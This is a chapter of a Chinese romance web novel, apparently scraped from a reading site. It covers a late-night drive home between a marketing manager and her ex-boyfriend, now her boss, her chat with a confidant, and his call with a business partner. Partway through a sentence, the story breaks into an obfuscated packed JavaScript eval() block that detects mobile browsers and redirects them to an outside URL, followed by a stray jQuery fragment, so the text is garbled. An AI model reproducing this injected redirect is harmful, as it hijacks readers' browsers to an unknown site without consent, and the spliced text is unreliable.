46.补过拾遗
作品:《乖顺》 刚才社死的窘迫混着点心虚,温漾舔了舔嘴角,说:“今天工作太多,我不太记得了。”
像是撇清关系,她特意补充:“我也不会一直盯着老板看。”
谢仰淮稍偏头,“这么说,你会一直盯着我看了?”
“我没有。”
“那我上次穿什么,你怎么记得这么清楚?”
“……”我说的是你上次的穿着吗?
吐槽的话都到嗓子眼了,温漾硬生生憋了回去。
他明摆着就是想逼她承认她是假装脸盲,再嘲讽她一番。
她绝对不会给他这个机会的。
于是,温漾干笑:“我记性好。”
给自己找理由离开:“很晚了,如果没什么事——”
似是猜到她的意图,谢仰淮的话音接踵而来。
“我记得温经理今早才说会尽快记住我的样子。但你连我的穿着都不记得,我合理怀疑你能否胜任市场部经理了。”
多年的相处,温漾瞬间就捕捉到了他语气里的不悦。
她很识趣,没继续装不认识:“原来是谢总。抱歉,天太黑了,一时没认出来。”
谢仰淮搭在方向盘上的手指轻叩,“那现在怎么认出来的?”
温漾眼皮微掀,余光被带动滞留在他的指根一瞬。
远处投射过来的车灯一晃而过,身后的影子倏然被拉长,又很快落回原点。
空气悄然揉进一股钝涩的情绪。
温漾像是自证般说道:“是您的戒指很特别。”
“是很特别。”谢仰淮不错开地睨她,“这是对戒。”
他在提醒她,不要越界。
温漾垂在身侧的手指蜷缩,握在手中的餐盒棱角陷进掌心。
轻微的疼痛警醒着大脑保持理智,她牵起嘴角,“听起来二位感情很好。”
谢仰淮没接话,反而意味不明地问她:“你觉得她会喜欢吗?”
“这个问题应该去问您的妻子,”温漾话里带刺,“而不是问一个毫无关系的女下属。”
谢仰淮微微眯眼。
两人都在原地没有动作,四周泛着说不上来的僵硬。
良久,谢仰淮先一步敛眸,“上车吧,老板有义务送加班到深夜的女下属回家。”
温漾:“不麻烦了。”
谢仰淮口吻很淡:“顺路。”
他的理由公事公办:“刚好聊聊明天要用的项目数据,温经理觉得呢?”
“……现在已经是下班时间了。”
“有加班费。”
僵持数秒,温漾伸手去拉后座的车门。
只听“咔哒”一声,落了锁。
“坐前面。”
命令的口吻,不辨喜怒。
最终温漾还是听话地坐上了副驾驶。
熟悉的熏香萦绕在鼻尖,冷冽的木质香无声浮在半空。
心情也好似在漂浮,烦乱地找不到落脚点。
谢仰淮重新启动,“南悦星湾,是么?”
温漾微顿,但转念一想,公司有登记员工的住址,他知道她住哪也正常。
她点头,“嗯。麻烦谢总了。”
车拐了个弯,汇进主干道。
两旁的街景变得热闹,只是隔着车窗玻璃,车厢内十分安静。
温漾主动开口:“刚才九点半,我将公司近三年的项目情况都整理好发您邮箱了,您收到了吗?”
谢仰淮目视前方,“嗯”了声。
温漾汇报:“目前公司主营科技类商业推广,最近最大的一个项目《星域》预计下个月开启公测,计划下周开直播预热。”
她点开手机里的WPS,“这里是具体方案,您要现在过目吗?”
谢仰淮笑了下:“我现在还没有想和女下属共死的打算。”
温漾:“……”
她后知后觉地意识到,自己试图用工作掩盖尴尬的举止过于急切。
事实上,她今天一整天都是这样。
毫无防备的重逢,让她完全失去了平日的从容,只能一味地用工作缓解。
四周陷入短暂的沉默。
谢仰淮突然问:“那只猫喜欢今天的饭吗?”
温漾双手叠在膝上,以为他是在兴师问罪,麻溜道歉:“抱歉,我不是故意拿去喂猫的。我也吃了,很好吃。”
“知道。”谢仰淮目视前方,声音倒是平和,像是随意闲聊,“我看见了。”
“……”温漾不说话了。
和小猫抢吃的这件事,怎么想都不太体面。
静谧几息。
谢仰淮又抛出问题,无关他说的谈工作:“为什么选择来漳南?”
灯光飞速地跳跃着,带动铺落脸颊的光影忽明忽暗。
车窗上朦胧倒映出温漾低垂的眉眼。
当初和谢仰淮分手后,她只想找一个远离他的城市。而且吴守贞的身体又在恢复期,必须有个温暖的气候休养。
听闻海滨城市的日落很美,温漾没去过圣托里尼,大概率也没机会去爱琴海,所以选择了这座同样拥有湛蓝海岸线的南方城市。
但这些话她都不能说。
温漾弯了弯唇,“这里一年四季都不冷,冬天也可以吃冰淇淋,不会感冒影响工作。”
高处的信号灯由黄转红,车轮缓缓停下。
谢仰淮侧眸瞥向副驾驶的人。
女人五官柔和,脸颊肉少了很多,平添了几分时间赋予的成熟与清冷。
头发绾成低马尾,有几缕顺着肩头垂落下来。由于骨架小,西装并不适合她,反倒衬得她背脊更加单薄。
和五年前没什么不同,却又有所不同。
谢仰淮喉结下的暗影滑动,嗓音沾上回南天的潮湿,含上些许清冽:“加班费会按时加到工资里的。”
—
温漾住的小区算是中档小区,一梯四户。
整理好情绪,她打开家门。
吴守贞才从店里回来不久,见温漾回来,出声道:“刚才送你回来的是小李吗?”
温漾弯腰换鞋,进门把包放到沙发上,“是我老板。他看我加班太晚,就顺路送我回来。”
吴守贞:“新来的那个老板?”
温漾:“嗯。”
吴守贞:“那你们老板人还挺好的。”又说,“周末你和小李单独吃顿饭,培养培养感情。”
温漾敷衍:“再说吧,我觉得我们不合适。”
“哪里不合适了?人家在大学当老师,父母都是退休教师,对你也都很满意。你看人家小鹿——”
温漾都能预判了:“和老师结的婚,现在孩子都快一岁了,是吧?”
吴守贞被抢了话,嗔怪瞪她一眼,“你都二十七了,等三十岁就不好结婚了。”
“我这几年多攒点钱,到时候招个赘婿就好了。”
温漾双手搭在母亲肩膀上,把她往卧室推,“妈,你赶紧去睡觉吧,明天我想吃抄手。”
吴守贞无奈:“天天就知道糊弄我。这个周末必须得去,我都和你宋阿姨说好了。”
“知道了,周末的事周末说。”
阖上卧室门,温漾才松了口气。
这些年,吴守贞在一家餐饮店工作,见证了老板的两个女儿陆续结婚。可自己的女儿却连男朋友都没有,这才越发着急地张罗婚事。
可温漾始终没法心安理得地开始一场新的恋爱。
青春里满是沉疴的那段感情,已经占据了太多,以至于她难以提起多余的热情去接纳另一个人。
温漾肩胛骨垂落些许,很想找个人倾诉。
号码是来漳南后新注册的,之前的那张电话卡,连同过去的记忆,都一同封在了宁泊。
新号只加了关系要好的几个。
但时间真的会改变很多,大家都忙于自己的生活和事业。能让她毫无负担倾诉这些乱七八糟心事的,似乎只有Y了。
温漾:【姐姐,你睡了吗?】
那头几乎是秒回:【不开心?】
Y每次都能这样精准捕捉到她的情绪,温漾也很依赖她,倾诉委屈:【今天好倒霉,遇到了前男友。】
Y:【他让你难过了?】
是难过吗?
好像谈不上。
但的确是因为谢仰淮才情绪低落。
他们当初结束得太潦草,也太糟糕,以至于重逢只剩下难说的踧踖。
温漾:【不是。今天蹲在路边喂猫,顺便吃了点饭,刚好被他看见了。】
Y:【很可爱。】
温漾:【明明就很尴尬。】
Y:【你很在意他对你的看法?】
温漾:【毕竟是前男友,肯定要注意一下形象吧。】
Y:【可能他也觉得你很可爱。】
回顾今天的种种,温漾苦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942804|186817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
涩地自嘲:【他只会觉得我很好笑。和他分手之后,就混成现在这样。】
Y:【独自带着家人在陌生的城市扎根,事业有成,你很值得自己骄傲。】
烦闷的心情因为这句话奇异地被抚平。
温漾皱皱鼻子,半开玩笑地说。
【姐姐你真好,不知道谁这么有福气能得到你的青睐。】
【要是我们国家支持同性结婚就好了。】
Y:【你想和我结婚?】
温漾以为她在配合自己的玩笑,就回:【特别想。】
头顶灯光铺就界限分明的光影,连同脚下的影子也变得清晰。
聊天框里跳出一行字。
【我记住了。】
—
[22:21]
谢仰淮用指纹开锁后,立即有一只毛绒绒的大狗凑了过来。
雪顶欢快地摇着尾巴,围在主人腿边,仰头等待抚摸。
对于伯恩山犬而言,六岁已经步入中年。但它被谢仰淮养得很好,依然保持着健壮的体格和旺盛的精力。
谢仰淮也习惯在回家第一时间揉雪顶的头。
于让上前,恭敬地汇报工作:“谢总。下午接到雪顶,就带它医院做了例行检查,医生说它各项指标都很好。”
“另外,新设备已经订购,这个周末安排翻修办公室,按照您的要求,会隔出一间独立办公室给温经理使用。”
谢仰淮浅声应道:“嗯,今天辛苦了。”
“那我就先回去了。”于让打了声招呼后,推门离开。
这间屋子常有人住,因此生活用品很齐全,只是就一个人难免显得很冷清。
谢仰淮单手扯松衬衫领口,屈膝坐进沙发里,看见微信有未读消息。
懒得打字,他直接拨通了电话。
很快,听筒里传来厍奕的声音:“谢董可真忙啊,总算是有空搭理我了。”
谢仰淮没理会他的调侃,直接问:“什么事?”
厍奕:“还能有什么事。给简锐的融资方案今天刚改完出了,你看了觉得有没有问题?”
谢仰淮:“看了。有几个条款需要调整,我发你修订版了。”
“行,我明天就去处理。”
厍奕转而提及另外一件事,“不过说真的,你收购简锐的动作是不是太快了点?去年八月才和谢老爷子摊牌,这才不到一年,就又收一家。”
“就算风俟这边有我和段伽野,云启那么大一个集团,再加个运营一般的小公司,你一个人管得过来吗?”
五年的时间,风俟发展每一步都如谢仰淮规划的那样,不断扩张到对各行业,已然成长为估值惊人的独角兽。
去年那场摊牌,与其说是谈判,不如说是谢仰淮单方面的通知。
谢怀霆勃然大怒,可木已成舟。面对一个羽翼丰满,甚至在某些领域能与云启分庭抗礼的孙辈,老爷子最终也只能妥协。
秉着眼不见心不烦,这大半年他都没和谢仰淮说过一句话。
但谢仰淮都不在意。
他只觉得风俟成长的速度还不够快。
“简锐只是缺资金和技术。”他说。
厍奕哼笑了声:“怎么样,今天去漳南见到心心念念的温漾了吗?”
谢仰淮抽出一支烟咬在嘴边,声线倦怠:“见到了。”
厍奕语气揶揄:“是不是干柴烈火,一下旧情复燃了?”
打火机燃起火焰,点燃香烟的一端。
往里深吸一口,一缕薄烟从唇边溢出,顺着下颌线缭绕上升。
谢仰淮微扬的眼尾透不出情绪,低声:“她装不认识我。”
“还真给段伽野猜中了。”
厍奕幸灾乐祸,“不然你直接和她说这些年你为她做的事。我要是温漾,我都得感动死。”
谢仰淮:“我做这些,不是为了让她感动。”
厍奕:“那你打算怎么办?又要和她演装陌生人的戏码吗?”
烟雾在眼前蒙上一层模糊的滤镜,指骨上那枚戒指折射的光却能轻易溅入他眸底。
这的确是对戒。
女款的那枚存放在他们合照后,陪伴他度过了一千八百多个日夜。
只因为一个人。
他多了一个家人,在陌生的城市也多了一个家。
谢仰淮捻灭了烟头,声线也沉寂了几分:“她喜欢,我就陪她演。”

